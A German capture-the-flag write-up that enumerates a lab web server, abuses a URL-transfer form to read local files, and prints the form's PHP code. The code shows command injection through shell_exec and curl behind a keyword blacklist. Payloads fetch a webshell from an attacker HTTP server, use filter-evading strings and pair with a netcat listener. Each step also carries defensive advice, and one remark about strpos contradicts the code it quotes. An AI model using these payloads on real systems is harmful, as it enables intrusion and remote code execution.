**Analyse:** Wie üblich beginnt der Prozess mit der Identifizierung aktiver Hosts im lokalen Netzwerksegment mittels `arp-scan -l`. Dieses Tool sendet ARP-Anfragen, um Geräte im selben Subnetz zu finden.
**Bewertung:** Ein Host antwortet mit der IP-Adresse 192.168.2.106 und der MAC-Adresse 08:00:27:68:84:5c. Die MAC-Adresse gehört laut OUI-Lookup zu "PCS Systemtechnik GmbH", was auf eine VirtualBox-Umgebung hindeutet. Das Zielsystem wurde erfolgreich identifiziert.
**Empfehlung (Pentester):** Die IP 192.168.2.106 als primäres Ziel für weitere Scans verwenden. Die VirtualBox-Herkunft notieren, falls spezifische VM-Escape-Techniken relevant werden (selten bei solchen Übungen).
**Empfehlung (Admin):** Standard-Netzwerk-Discovery. Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind. Netzwerksegmentierung kann die Sichtbarkeit einschränken.
192.168.2.106 08:00:27:68:84:5c PCS Systemtechnik GmbH
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifer-Systems wird bearbeitet (`vi /etc/hosts`), um der gefundenen IP-Adresse 192.168.2.106 einen leichter merkbaren Hostnamen (`transfer.nyx`) zuzuordnen. Dies erleichtert die Ansprache des Ziels und ist wichtig für die Entdeckung virtueller Hosts.
**Bewertung:** Eine sinnvolle Maßnahme, um die Lesbarkeit von Befehlen zu verbessern und potenzielle vHost-Abhängigkeiten auf dem Ziel-Webserver zu berücksichtigen. Die Zuordnung ist korrekt erfolgt.
**Empfehlung (Pentester):** Bei allen folgenden Web-Interaktionen sowohl die IP als auch den Hostnamen `transfer.nyx` (und später gefundene weitere Hostnamen) verwenden, um sicherzustellen, dass keine vHost-spezifischen Inhalte oder Konfigurationen übersehen werden.
**Empfehlung (Admin):** Eine rein lokale Änderung auf dem Angreifer-System ohne direkte Auswirkungen auf das Ziel. Keine Maßnahmen erforderlich.
127.0.0.1 localhost
192.168.2.106 transfer.nyx
**Analyse:** Ein UDP-Portscan wird mit `nmap` durchgeführt, um offene UDP-Dienste zu identifizieren. * `-sU`: UDP-Scan. * `--top-port 1000`: Scannt die 1000 häufigsten UDP-Ports. * `-T5`: Sehr aggressives Timing für schnelleren Scan. * `-n`: Keine DNS-Auflösung. * `192.168.2.106`: Ziel-IP. * `-Pn`: Host-Discovery überspringen. * `--min-rate 5000`: Hohe Paketrate.
**Bewertung:** Der Scan findet keine offenen UDP-Ports (`Not shown: 995 open|filtered udp ports`). Die 5 angezeigten Ports sind explizit als `closed` markiert. Dies deutet darauf hin, dass keine gängigen UDP-Dienste auf dem Zielsystem lauschen oder erreichbar sind. UDP-Scans sind oft weniger zuverlässig als TCP-Scans; "open|filtered" bedeutet, Nmap konnte keine definitive Antwort erhalten.
**Empfehlung (Pentester):** UDP als Angriffsvektor vorerst ausschließen und sich auf TCP-Dienste konzentrieren. Ein vollständiger UDP-Scan aller 65535 Ports wäre extrem zeitaufwändig und liefert selten zusätzliche Ergebnisse in solchen Szenarien.
**Empfehlung (Admin):** Es ist positiv, dass keine unnötigen UDP-Dienste offen sind. Weiterhin nicht benötigte Dienste deaktivieren.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-29 12:10 CEST Nmap scan report for 192.168.2.106 Host is up (0.000087s latency). Not shown: 995 open|filtered udp ports (no-response) PORT STATE SERVICE 497/udp closed retrospect 19283/udp closed keysrvr 34079/udp closed unknown 34555/udp closed unknown 39714/udp closed unknown MAC Address: 08:00:27:68:84:5C (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
**Analyse:** Ein schneller TCP-SYN-Scan (`-sS`) über alle Ports (`-p-`) wird durchgeführt, kombiniert mit Skript-Scanning (`-sC`), Versionserkennung (`-sV`), aggressiven Optionen (`-A`), hoher Rate (`--min-rate 5000`) und dem Überspringen der Host-Discovery (`-Pn`). Die Ausgabe wird mit `grep open` gefiltert, um nur die offenen Ports anzuzeigen.
**Bewertung:** Der Scan identifiziert nur einen einzigen offenen TCP-Port: `80/tcp (http)`, auf dem ein Apache httpd 2.4.38 (Debian) läuft. Die Angriffsfläche ist somit auf diesen Webserver beschränkt.
**Empfehlung (Pentester):** Den Webserver auf Port 80 intensiv untersuchen. Verzeichnis-Scanning, Schwachstellen-Scanning (Nikto), manuelle Untersuchung der Webanwendung und Suche nach virtuellen Hosts sind die nächsten Schritte.
**Empfehlung (Admin):** Überprüfen, ob tatsächlich nur Port 80 offen sein muss. Die Apache-Version 2.4.38 ist veraltet und potenziell anfällig; ein Update auf eine neuere Version wird dringend empfohlen. Den Webserver sicher konfigurieren.
80/tcp open http Apache httpd 2.4.38 ((Debian))
**Analyse:** Derselbe Nmap-Scan wie zuvor, diesmal jedoch mit vollständiger Ausgabe (ohne `grep open`).
**Bewertung:** Die vollständige Ausgabe bestätigt Port 80 als einzigen offenen TCP-Port mit Apache 2.4.38. * **HTTP (80):** Der Titel der Seite ist die Apache Debian Default Page (`Apache2 Debian Default Page: It works`), was auf eine Standardinstallation oder eine noch nicht konfigurierte Seite hindeutet. Der Server-Header bestätigt die Version. * **MAC Address:** Bestätigt die VirtualBox-MAC. * **OS Detection:** Schätzt Linux (verschiedene Kernel-Versionen), aber keine exakte Übereinstimmung. * **Traceroute:** Zeigt nur einen Hop, bestätigt lokale Netzwerkverbindung.
**Empfehlung (Pentester):** Da nur Port 80 offen ist, muss der Angriff über den Webserver erfolgen. Die Standardseite genauer untersuchen, auf versteckte Verzeichnisse oder Dateien scannen und nach Hinweisen auf virtuelle Hosts suchen.
**Empfehlung (Admin):** Die Apache-Standardseite sollte durch die eigentliche Anwendung ersetzt oder deaktiviert werden. Update von Apache 2.4.38 durchführen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-29 12:09 CEST Nmap scan report for transfer.nyx (192.168.2.106) Host is up (0.00012s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:68:84:5C (Oracle VirtualBox virtual NIC) Aggressive OS guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.5 (96%), Linux 5.0 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 - 3.10 (94%), Linux 5.3 - 5.4 (94%), Linux 5.4 (94%), Linux 3.4 - 3.10 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.12 ms transfer.nyx (192.168.2.106) Nmap done: 1 IP address (1 host up) scanned in 14.86 seconds
**Analyse:** Nikto wird verwendet, um den Webserver auf Port 80 gezielt auf bekannte Schwachstellen, Konfigurationsfehler und interessante Dateien zu scannen (`-h http://192.168.2.106`).
**Bewertung:** Nikto liefert mehrere wichtige Ergebnisse: * Bestätigt Apache/2.4.38 (Debian). * Fehlender `X-Frame-Options`-Header (Clickjacking-Risiko). * Fehlender `X-Content-Type-Options`-Header (MIME-Sniffing-Risiko). * Cookie ohne `HttpOnly`-Flag gesetzt: Das Cookie kann potenziell via JavaScript ausgelesen werden (XSS-Risiko erhöht). * Apache-Version 2.4.38 ist veraltet (aktuell >= 2.4.54). Dies ist ein signifikanter Hinweis auf mögliche bekannte Schwachstellen. * Server antwortet auf ungültige HTTP-Methoden (kann False Positives bei anderen Scans verursachen). * `/icons/README` gefunden: Eine Standard-Apache-Datei, die Informationen leaken könnte oder auf eine unvollständige Konfiguration hinweist.
**Empfehlung (Pentester):** Die veraltete Apache-Version (2.4.38) auf bekannte Exploits prüfen (z.B. via Searchsploit). Die fehlenden Header und das Cookie ohne HttpOnly notieren. Die `/icons/README`-Datei abrufen und prüfen. Die Webanwendung genauer untersuchen, insbesondere auf XSS-Schwachstellen, da das Cookie manipulierbar sein könnte.
**Empfehlung (Admin):** Apache dringend auf die neueste stabile Version updaten! Fehlende HTTP-Security-Header (`X-Frame-Options`, `X-Content-Type-Options`) hinzufügen. Das `HttpOnly`-Flag für Cookies setzen, wo immer möglich. Den Zugriff auf das `/icons`-Verzeichnis und die `README`-Datei einschränken oder entfernen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.106 + Target Hostname: 192.168.2.106 + Target Port: 80 + Start Time: 2024-08-29 12:09:42 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + /: Cookie cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + 8102 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2024-08-29 12:09:53 (GMT2) (11 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** `gobuster` wird für die Verzeichnis- und Dateisuche auf dem Webserver (via IP-Adresse) verwendet. Es nutzt eine mittelgroße Wortliste und sucht nach einer Vielzahl von Dateiendungen, wobei Standard-Fehlerseiten ignoriert werden.
**Bewertung:** Gobuster findet nur eine Datei: `/index.php` mit Status 200 (OK). Dies deutet darauf hin, dass die Hauptfunktionalität wahrscheinlich in dieser PHP-Datei liegt und es keine offensichtlichen weiteren Verzeichnisse oder Dateien auf dieser Ebene gibt.
**Empfehlung (Pentester):** Die `index.php` im Browser aufrufen und manuell untersuchen. Den Quellcode analysieren, wenn möglich. Nach Parametern oder Formularen suchen, die manipuliert werden könnten. Da Gobuster nur diese Datei fand, könnten weitere Inhalte über virtuelle Hosts erreichbar sein.
**Empfehlung (Admin):** Sicherstellen, dass keine unnötigen Dateien oder Verzeichnisse über den Webserver zugänglich sind. Die Sicherheit des `index.php`-Skripts überprüfen (Input Validierung, Output Encoding, etc.).
=============================================================== Gobuster v3.6 [...] =============================================================== [+] Url: http://192.168.2.106 [...] =============================================================== 2024/08/29 12:11:10 Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.106/index.php (Status: 200) [Size: 10700] =============================================================== 2024/08/29 12:13:45 Finished ===============================================================
**Analyse:** Der Webserver unter `http://transfer.nyx/` wird im Browser aufgerufen (oder mit einem Tool wie `curl`). Dabei wird ein Cookie mit dem Namen `cookie` und dem Wert `MRXW2YLJNY6XGZLDVZGK5DSMFXHGZTFIXG46LY` beobachtet.
**Bewertung:** Der Cookie-Wert sieht nach einer Kodierung aus, wahrscheinlich Base32 aufgrund der Großbuchstaben und Zahlen. Dieser Cookie könnte Informationen enthalten, die für die Anwendung relevant sind, z.B. einen Hinweis auf einen anderen Hostnamen oder einen Sitzungsbezeichner.
**Empfehlung (Pentester):** Den Cookie-Wert dekodieren. Tools wie CyberChef oder Kommandozeilen-Tools (`base32 -d`) können hierfür verwendet werden. Der dekodierte Wert könnte einen neuen Hostnamen oder andere Hinweise liefern.
**Empfehlung (Admin):** Überprüfen, warum dieser Cookie gesetzt wird und welche Informationen er enthält. Sensible Informationen sollten nicht unverschlüsselt in Cookies gespeichert werden. Das `HttpOnly`-Flag setzen, wie bereits von Nikto angemerkt.
http://transfer.nyx/
cookie:"MRXW2YLJNY6XGZLDVZGK5DSMFXHGZTFIXG46LY"
**Analyse:** Der Base32-kodierte Cookie-Wert `MRXW2YLJNY6XGZLDVZGK5DSMFXHGZTFIXG46LY` wird mit einem Online-Tool (CyberChef) dekodiert.
**Bewertung:** Die Dekodierung ergibt den String `domain = securetransfer.nyx`. Dies ist ein Volltreffer! Es enthüllt einen neuen, bisher unbekannten Hostnamen, der wahrscheinlich auf dieselbe IP-Adresse (192.168.2.106) verweist und möglicherweise andere Inhalte oder Funktionalitäten bereitstellt.
**Empfehlung (Pentester):** Den neuen Hostnamen `securetransfer.nyx` zur lokalen `/etc/hosts`-Datei hinzufügen und diesen vHost gezielt untersuchen (Verzeichnis-Scanning, manuelle Analyse).
**Empfehlung (Admin):** Das Speichern von Hostnamen in Cookies ist unüblich und potenziell unsicher. Diese Logik in der Anwendung entfernen oder überarbeiten. Den Zweck des vHosts `securetransfer.nyx` dokumentieren und absichern.
https://cyberchef.org/#recipe=From_Base32('A-Z2-7%3D',false)&input=TVJYVzJZTEpWTZYR1pMRE9WWkdLNURTTUZYSEdaVEZPSVhHNDZMWQ domain = securetransfer.nyx
**Analyse:** Basierend auf dem dekodierten Cookie wird der neu entdeckte Hostname `securetransfer.nyx` zur lokalen `/etc/hosts`-Datei des Angreifers hinzugefügt.
**Bewertung:** Notwendiger Schritt, um den Browser und andere Tools anzuweisen, Anfragen an `securetransfer.nyx` an die IP 192.168.2.106 zu senden.
**Empfehlung (Pentester):** Nun den vHost `http://securetransfer.nyx` untersuchen.
**Empfehlung (Admin):** Keine direkte Aktion erforderlich.
127.0.0.1 localhost
192.168.2.106 transfer.nyx securetransfer.nyx
**Analyse:** `gobuster` wird erneut ausgeführt, diesmal gezielt gegen den neuen virtuellen Host `http://securetransfer.nyx`.
**Bewertung:** Auch auf diesem vHost findet `gobuster` nur die Datei `/index.php` (Status 200). Dies legt nahe, dass die Hauptfunktionalität auch hier in dieser Datei liegt, aber der Inhalt oder das Verhalten könnte sich von der Version unter `transfer.nyx` unterscheiden.
**Empfehlung (Pentester):** Die Seite `http://securetransfer.nyx/index.php` im Browser laden und manuell untersuchen. Auf Unterschiede zur Version unter `transfer.nyx` achten. Da der Name "securetransfer" lautet, auf Authentifizierungsmechanismen, Upload-Funktionen oder andere sicherheitsrelevante Features achten. Weiter nach Subdomains suchen.
**Empfehlung (Admin):** Die Sicherheit des `index.php`-Skripts unter `securetransfer.nyx` überprüfen.
=============================================================== Gobuster v3.6 [...] =============================================================== [+] Url: http://securetransfer.nyx [...] =============================================================== 2024/08/29 12:17:55 Starting gobuster in directory enumeration mode =============================================================== http://securetransfer.nyx/index.php (Status: 200) [Size: 10700] =============================================================== 2024/08/29 12:20:31 Finished ===============================================================
**Analyse:** `wfuzz` wird zur Subdomain-Enumeration für `securetransfer.nyx` verwendet. * `-c`: Farbige Ausgabe. * `-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt`: Verwendet eine große Liste potenzieller Subdomain-Namen. * `-u "http://securetransfer.nyx"`: Basis-URL (wird hier nicht direkt verwendet, aber benötigt). * `-H "Host: FUZZ.securetransfer.nyx"`: Manipuliert den Host-Header. `FUZZ` wird durch die Wörter aus der Wortliste ersetzt. Dies ist die Methode zur vHost/Subdomain-Enumeration über HTTP. * `--hc "404"`: Blendet Antworten mit Statuscode 404 (Not Found) aus. * `--hh 10700`: Blendet Antworten aus, deren Zeichenanzahl (Chars) genau 10700 entspricht. Dies ist die Größe der `index.php`, die auf `securetransfer.nyx` gefunden wurde. Dadurch sollen nur Subdomains angezeigt werden, die *anderen* Inhalt liefern.
**Bewertung:** Der Scan ist erfolgreich und findet eine Subdomain: `intranet2`. Wfuzz meldet für `intranet2.securetransfer.nyx` einen Statuscode 200 und eine Chars-Größe von 417 (abweichend von 10700). Dies deutet stark darauf hin, dass unter `intranet2.securetransfer.nyx` eine andere Anwendung oder Seite existiert.
**Empfehlung (Pentester):** Den neuen Hostnamen `intranet2.securetransfer.nyx` zur lokalen `/etc/hosts`-Datei hinzufügen und diesen vHost gezielt untersuchen.
**Empfehlung (Admin):** Den Zweck der Subdomain `intranet2` klären und sicherstellen, dass sie ordnungsgemäß gesichert ist. Wenn sie nicht öffentlich zugänglich sein soll, den Zugriff darauf beschränken (z.B. per IP-Filterung oder Authentifizierung).
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://securetransfer.nyx/
Total requests: 110392
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001809: 200 23 L 41 W 417 Ch "intranet2"
Total time: 117.1393s
Processed Requests: 110392
Filtered Requests: 110391
Requests/sec.: 942.4015
**Analyse:** Der neu entdeckte Hostname `intranet2.securetransfer.nyx` wird ebenfalls zur lokalen `/etc/hosts`-Datei hinzugefügt.
**Bewertung:** Korrekter Schritt, um den Zugriff auf den neuen vHost zu ermöglichen.
**Empfehlung (Pentester):** Den vHost `http://intranet2.securetransfer.nyx` untersuchen.
**Empfehlung (Admin):** Keine direkte Aktion erforderlich.
127.0.0.1 localhost
192.168.2.106 transfer.nyx securetransfer.nyx intranet2.securetransfer.nyx
**Analyse:** `gobuster` wird nun gegen den dritten vHost `http://intranet2.securetransfer.nyx` ausgeführt.
**Bewertung:** Auch hier findet `gobuster` nur die `/index.php`, diesmal mit der Größe 417 Chars, die `wfuzz` bereits gemeldet hat. Dies bestätigt, dass die Hauptseite dieses vHosts anders ist als die der anderen beiden.
**Empfehlung (Pentester):** Die Seite `http://intranet2.securetransfer.nyx/index.php` im Browser aufrufen und manuell analysieren. Da es sich um ein "Intranet" handelt, besonders auf Authentifizierung, interne Funktionen oder Informationslecks achten.
**Empfehlung (Admin):** Die Sicherheit des `index.php`-Skripts unter `intranet2.securetransfer.nyx` überprüfen.
=============================================================== Gobuster v3.6 [...] =============================================================== [+] Url: http://intranet2.securetransfer.nyx [...] =============================================================== 2024/08/29 12:25:11 Starting gobuster in directory enumeration mode =============================================================== http://intranet2.securetransfer.nyx/index.php (Status: 200) [Size: 417] =============================================================== 2024/08/29 12:27:58 Finished ===============================================================
**Analyse:** Auf dem Angreifer-PC wird ein einfacher Python-HTTP-Server auf Port 8888 gestartet. Parallel wird ein Netcat-Listener auf Port 9001 für eine potenzielle Reverse Shell gestartet. Es wird eine Datei `shell2.php` erwähnt, die vermutlich eine PHP-Webshell oder ein Reverse-Shell-Skript enthält und auf dem Angreifer-Server bereitliegt.
**Bewertung:** Vorbereitungsschritte für den Initial Access. Der Angreifer erwartet offenbar, eine Möglichkeit zu finden, die `shell2.php` auf das Zielsystem zu übertragen und auszuführen, um eine Verbindung zum Listener auf Port 9001 zu erhalten.
**Empfehlung (Pentester):** Die Funktionalität der `intranet2.securetransfer.nyx/index.php` analysieren, um einen Weg zu finden, beliebige Befehle auszuführen oder Dateien hochzuladen/einzubinden, um die `shell2.php` auszuführen.
**Empfehlung (Admin):** Egress-Filterung kann den Aufbau von Reverse Shells erschweren. Die Anwendung auf `intranet2` muss sicher gegen Code Injection, Command Injection und Local/Remote File Inclusion sein.
http://192.168.2.199:8888/shell2.php
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ... 192.168.2.106 - - [29/Aug/2024 12:31:33] "GET /shell2.php HTTP/1.1" 200 -
listening on [any] 9001 ...
**Analyse:** Die Funktionsweise der Seite `http://intranet2.securetransfer.nyx/index.php` wird mittels Burp Suite (oder manueller Analyse) untersucht. Es wird ein POST-Request an `/index.php` gesendet, der einen Parameter `formurl` enthält. Im Beispiel wird `http://localhost/.` als Wert gesendet. Die X-Forwarded-For und X-Remote-IP Header werden ebenfalls gesetzt, was auf einen möglichen Proxy oder Load Balancer hindeuten könnte, aber hier wahrscheinlich nur Testdaten sind.
**Bewertung:** Die Response der Seite enthält Teile der Apache-Dokumentation (`mod_userdir.html`) und den Text "Enter the address you want to transfer. Example: http://localhost/index.html". Dies legt nahe, dass die Seite eine URL entgegennimmt (`formurl`) und versucht, den Inhalt dieser URL abzurufen und anzuzeigen. Es handelt sich wahrscheinlich um eine Funktion, die interne oder externe Ressourcen abrufen soll, was ein typischer Kandidat für Server-Side Request Forgery (SSRF) oder Local File Inclusion (LFI) ist.
**Empfehlung (Pentester):** Die `formurl`-Funktion auf SSRF und LFI testen. Versuchen, lokale Dateien (`file:///etc/passwd`) oder interne Dienste (`http://localhost:port`) abzurufen. Prüfen, ob Filter umgangen werden können, um Befehle auszuführen (z.B. über `file://`, `php://filter`, `http://wrapper` etc.).
**Empfehlung (Admin):** Solche "Transfer"-Funktionen sind inhärent gefährlich. Wenn sie benötigt werden, müssen sie extrem robust gegen SSRF und LFI abgesichert sein: Nur erlaubte Protokolle (HTTP/S), Whitelisting von Zielen, keine Benutzereingabe direkt in Dateipfade oder `curl`/`file_get_contents`-Aufrufe übernehmen, strikte Validierung und Filterung.
Request: POST /index.php HTTP/1.1 Host: intranet2.securetransfer.nyx User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 36 Origin: http://intranet2.securetransfer.nyx DNT: 1 Connection: keep-alive Referer: http://intranet2.securetransfer.nyx/index.php Upgrade-Insecure-Requests: 1 X-Forwarded-For: 192.168.2.113 X-Remote-IP: 192.168.2.113 Sec-GPC: 1 formurl=http://localhost/.&submit=Go Response: HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 10:45:16 GMT Server: Apache/2.4.38 (Debian) Vary: Accept-Encoding Content-Length: 11459 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 [...] <!-- Hinweise aus der Response --> Intranet ref="http://httpd.apache.org/docs/2.4/mod/mod_userdir.html" directories (when enabled) and /usr/share (for web applications). If your site is using a web document root document root directory in /etc/apache2/apache2.conf The default Debian document root is /var/www/html... [...] <!-- Formular Anzeige --> Enter the address you want to transfer. Example: http://localhost/index.html [...]
**Analyse:** Es wird versucht, die LFI/SSRF-Schwachstelle auszunutzen, um die lokale Datei `/etc/passwd` zu lesen. Als `formurl` wird `file:///etc/passwd` eingegeben.
**Bewertung:** Erfolg! Die Anwendung gibt den Inhalt der `/etc/passwd`-Datei zurück. Dies bestätigt eine kritische LFI-Schwachstelle. Es zeigt die Benutzer auf dem System, einschließlich `tom` (UID 1000) mit einer `/bin/bash`-Shell und `www-data` (UID 33).
**Empfehlung (Pentester):** Die LFI nutzen, um weitere sensible Dateien zu lesen (z.B. Konfigurationsdateien von Apache `/etc/apache2/apache2.conf`, `/etc/apache2/sites-available/000-default.conf`, PHP-Quellcode wie `/var/www/intranet/index.php`, `/var/www/html/index.php`, SSH-Keys falls lesbar). Prüfen, ob die LFI auch zur Remote Code Execution (RCE) missbraucht werden kann (z.B. via `php://filter` oder Log Poisoning, falls möglich).
**Empfehlung (Admin):** Die LFI-Schwachstelle in `/var/www/intranet/index.php` sofort beheben! Benutzereingaben dürfen niemals direkt oder ungefiltert in Dateizugriffsfunktionen (`file_get_contents`, `include`, `require`) oder Befehlsausführungsfunktionen (`shell_exec`, `system`, `passthru`) gelangen. Strikte Eingabevalidierung und -bereinigung ist essenziell.
http://intranet2.securetransfer.nyx/index.php Enter the address you want to transfer. Example: http://localhost/index.html Payload: -s file:///etc/passwd Requesting Site... daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/var/run/dbus:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin tom:x:1000:1000:tom,,,:/home/tom:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
**Analyse:** Ein weiterer LFI-Versuch, diesmal mit `file:///proc/self/environ`. Diese Datei enthält die Umgebungsvariablen des Prozesses, der die Datei liest (hier der Apache/PHP-Prozess).
**Bewertung:** Auch dieser Versuch ist erfolgreich. Die Umgebungsvariablen des Apache-Prozesses werden angezeigt. Dies kann nützlich sein, um Pfade (`PATH`), Benutzernamen (`APACHE_RUN_USER=www-data`), Arbeitsverzeichnisse (`PWD=/var/www/intranet`) oder potenziell sensible Konfigurationsparameter zu finden.
**Empfehlung (Pentester):** Die Umgebungsvariablen nach interessanten Informationen durchsuchen. Der Pfad `/var/www/intranet` bestätigt das Verzeichnis der verwundbaren Anwendung. Die LFI weiter nutzen, um den Quellcode von `/var/www/intranet/index.php` zu lesen (`php://filter/convert.base64-encode/resource=/var/www/intranet/index.php` könnte funktionieren, um Filter zu umgehen).
**Empfehlung (Admin):** LFI-Schwachstelle beheben.
http://intranet2.securetransfer.nyx/index.php Enter the address you want to transfer. Example: http://localhost/index.html Payload: -s file:///proc/self/environ Requesting Site... APACHE_RUN_DIR=/var/run/apache2 APACHE_PID_FILE=/var/run/apache2/apache2.pid JOURNAL_STREAM=9:13505 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin INVOCATION_ID=9023d34884704cd191020030e091fc0a APACHE_LOCK_DIR=/var/lock/apache2 LANG=C APACHE_RUN_USER=www-data APACHE_RUN_GROUP=www-data APACHE_LOG_DIR=/var/log/apache2 PWD=/var/www/intranet
**Analyse:** Es wird versucht, die SSRF/LFI-Schwachstelle zur Ausführung von Code zu nutzen. Der Payload `http://192.168.2.199:8888/shell2.php%26b''a''s''h` wird übergeben. Das `%26` ist ein URL-kodiertes `&`. Die Zeichenkette `b''a''s''h` ist eine Methode, um das Wort "bash" zu verschleiern und mögliche Filter zu umgehen, die auf das Wort "bash" prüfen.
**Bewertung:** Die Ausgabe zeigt die typischen `curl`-Statistiken (`% Total % Received % Xferd ...`), was darauf hindeutet, dass die Anwendung im Hintergrund `curl` verwendet, um die `formurl` abzurufen. Die `%26` und `b''a''s''h` wurden wahrscheinlich als Teil der URL interpretiert, was nicht zur Codeausführung führte. Der Server antwortet jedoch mit dem Quellcode der `index.php` (Auszug gezeigt). Dieser Quellcode ist entscheidend!
**Quellcode-Analyse:** * `$userurl=$_POST['formurl'];`: Holt die URL aus dem POST-Parameter. * `$disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']');`: Definiert eine Blacklist von Zeichen und Wörtern. * `foreach($disallowed as $naughty){ if(strpos($userurl,$naughty) !== false){ ... $naughtyurl=1; } }`: Prüft, ob einer der verbotenen Strings in der `$userurl` vorkommt. **Wichtig:** `strpos` kann `0` zurückgeben, was als `false` interpretiert wird. Es sollte `!== false` verwendet werden. * `if($naughtyurl == 0){ echo shell_exec("curl ".$userurl." 2>&1"); }`: Wenn kein verbotener String gefunden wurde (`$naughtyurl` ist 0), wird `curl` über `shell_exec` ausgeführt! Dies ist eine **Command Injection** Schwachstelle, die durch die Blacklist nur unzureichend geschützt ist.
**Empfehlung (Pentester):** Die Command Injection über `shell_exec("curl ...")` ausnutzen. Die Blacklist ist unvollständig (z.B. fehlen Backticks ``, Dollar-Klammer `$()`, Zeilenumbrüche `%0a`). Man kann versuchen, Befehle an die `curl`-Parameter anzuhängen oder `curl`-Optionen zu missbrauchen.
* Ein möglicher Vektor: `curl` kann Dateien mit der `-o` Option speichern. Payload: `http://192.168.2.199:8888/shell2.php -o /tmp/shell.php`. Dies sollte die Webshell nach `/tmp/shell.php` speichern.
* Ein anderer Ansatz: Command Injection durch Zeilenumbruch `%0a` oder Semikolon (falls `%3B` nicht gefiltert wird) nach einer gültigen URL.
**Empfehlung (Admin):** Die Command Injection Schwachstelle sofort beheben! Niemals Benutzereingaben direkt in `shell_exec` oder ähnliche Funktionen einbauen. `escapeshellarg()` oder `escapeshellcmd()` verwenden, wenn externe Befehle unvermeidbar sind, aber besser ist es, solche Funktionen ganz zu vermeiden und stattdessen PHP-eigene Funktionen (wie PHP cURL-Erweiterung) zu nutzen. Die Blacklist ist unzureichend und leicht zu umgehen.
